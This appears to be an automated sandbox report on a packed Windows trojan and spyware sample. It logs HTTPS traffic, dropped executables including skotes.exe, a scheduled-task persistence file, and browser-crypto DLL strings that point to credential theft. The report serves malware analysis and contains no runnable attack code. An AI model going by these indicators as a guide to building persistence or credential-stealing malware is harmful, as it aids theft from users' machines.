Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.229.162:443 -> 192.168.2.7:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.7:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.229.162:443 -> 192.168.2.7:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.18:443 -> 192.168.2.7:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.18:443 -> 192.168.2.7:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.7:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49981 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsGCBFBGCGIJ.exe.0.dr	Static PE information: section name:
Source: DocumentsGCBFBGCGIJ.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsGCBFBGCGIJ.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:

Source: C:\Users\user\DocumentsGCBFBGCGIJ.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDDECC0	0_2_6CDDECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3ECD0	0_2_6CE3ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDEAC60	0_2_6CDEAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBAC30	0_2_6CEBAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA6C00	0_2_6CEA6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF6CDC0	0_2_6CF6CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE4DB0	0_2_6CDE4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE76D90	0_2_6CE76D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAED70	0_2_6CEAED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF0AD50	0_2_6CF0AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF68D20	0_2_6CF68D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDEAEC0	0_2_6CDEAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE80EC0	0_2_6CE80EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE66E90	0_2_6CE66E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7EE70	0_2_6CE7EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC0E20	0_2_6CEC0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBEFF0	0_2_6CEBEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE0FE0	0_2_6CDE0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF28FB0	0_2_6CF28FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDEEFB0	0_2_6CDEEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA2F70	0_2_6CEA2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE4EF40	0_2_6CE4EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE6F10	0_2_6CDE6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF20F20	0_2_6CF20F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE68E0	0_2_6CEE68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB4840	0_2_6CEB4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE30820	0_2_6CE30820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6A820	0_2_6CE6A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEFC9E0	0_2_6CEFC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE149F0	0_2_6CE149F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE709A0	0_2_6CE709A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9A9A0	0_2_6CE9A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA09B0	0_2_6CEA09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE18960	0_2_6CE18960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE36900	0_2_6CE36900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5EA80	0_2_6CE5EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5CA70	0_2_6CE5CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE98A30	0_2_6CE98A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8EA00	0_2_6CE8EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE6BE0	0_2_6CEE6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE80BA0	0_2_6CE80BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE264D0	0_2_6CE264D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7A4D0	0_2_6CE7A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF0A480	0_2_6CF0A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF8460	0_2_6CDF8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE44420	0_2_6CE44420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6A430	0_2_6CE6A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAA5E0	0_2_6CEAA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6E5F0	0_2_6CE6E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD45B0	0_2_6CDD45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE42560	0_2_6CE42560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE80570	0_2_6CE80570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF28550	0_2_6CF28550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE38540	0_2_6CE38540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE4540	0_2_6CEE4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3E6E0	0_2_6CE3E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7E6E0	0_2_6CE7E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE046D0	0_2_6CE046D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3C650	0_2_6CE3C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0A7D0	0_2_6CE0A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE60700	0_2_6CE60700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD8090	0_2_6CDD8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBC0B0	0_2_6CEBC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF00B0	0_2_6CDF00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE2E070	0_2_6CE2E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAC000	0_2_6CEAC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA8010	0_2_6CEA8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE01E0	0_2_6CDE01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE48140	0_2_6CE48140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE56130	0_2_6CE56130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC4130	0_2_6CEC4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF662C0	0_2_6CF662C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB22A0	0_2_6CEB22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAE2B0	0_2_6CEAE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE68260	0_2_6CE68260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE78250	0_2_6CE78250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB8220	0_2_6CEB8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAA210	0_2_6CEAA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE343E0	0_2_6CE343E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE123A0	0_2_6CE123A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3E3B0	0_2_6CE3E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF22370	0_2_6CF22370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEFC360	0_2_6CEFC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE76370	0_2_6CE76370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE8340	0_2_6CDE8340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE2370	0_2_6CDE2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE52320	0_2_6CE52320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA1CE0	0_2_6CEA1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF1DCD0	0_2_6CF1DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7FC80	0_2_6CE7FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE3C40	0_2_6CDE3C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF09C40	0_2_6CF09C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF1C30	0_2_6CDF1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB1DC0	0_2_6CEB1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD3D80	0_2_6CDD3D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF29D90	0_2_6CF29D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE43D00	0_2_6CE43D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE03EC0	0_2_6CE03EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF3BE70	0_2_6CF3BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF65E60	0_2_6CF65E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEEDE10	0_2_6CEEDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8BFF0	0_2_6CE8BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEFDFC0	0_2_6CEFDFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF63FC0	0_2_6CF63FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE01F90	0_2_6CE01F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE15F20	0_2_6CE15F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF37F20	0_2_6CF37F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD5F30	0_2_6CDD5F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE138E0	0_2_6CE138E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF3B8F0	0_2_6CF3B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBF8F0	0_2_6CEBF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7F8C0	0_2_6CE7F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDED8E0	0_2_6CDED8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3D810	0_2_6CE3D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE459F0	0_2_6CE459F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE779F0	0_2_6CE779F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE799C0	0_2_6CE799C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE199D0	0_2_6CE199D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF1980	0_2_6CDF1980
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00AC78BB	28_2_00AC78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00AC8860	28_2_00AC8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00AC7049	28_2_00AC7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00AC31A8	28_2_00AC31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00A84DE0	28_2_00A84DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00A8E530	28_2_00A8E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00AC2D10	28_2_00AC2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00AC779B	28_2_00AC779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00A84B30	28_2_00A84B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00AB7F36	28_2_00AB7F36

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF6D930 appears 50 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE09B10 appears 85 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF19F30 appears 32 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE3C5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF609D0 appears 276 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE03620 appears 74 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF6DAE0 appears 62 times

Source: file.exe, 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1852991087.0000000070152000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: lgjpmlrc ZLIB complexity 0.994951031259183
Source: DocumentsGCBFBGCGIJ.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979883344686649
Source: DocumentsGCBFBGCGIJ.exe.0.dr	Static PE information: Section: hwqxmwlo ZLIB complexity 0.9945905089009288
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979883344686649
Source: random[1].exe.0.dr	Static PE information: Section: hwqxmwlo ZLIB complexity 0.9945905089009288
Source: skotes.exe.21.dr	Static PE information: Section: ZLIB complexity 0.9979883344686649
Source: skotes.exe.21.dr	Static PE information: Section: hwqxmwlo ZLIB complexity 0.9945905089009288

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@71/284@22/25

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE40300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6CE40300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\DDLH37LY.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5208:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user~1\AppData\Local\Temp\a1fb2531-a8b8-496a-bd7c-9707832af8da.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1852451853.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1841399691.000000001DE46000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1852451853.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1841399691.000000001DE46000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1852451853.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1841399691.000000001DE46000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1852451853.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1841399691.000000001DE46000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.1852451853.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1841399691.000000001DE46000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1852451853.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1841399691.000000001DE46000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1852451853.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1841399691.000000001DE46000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
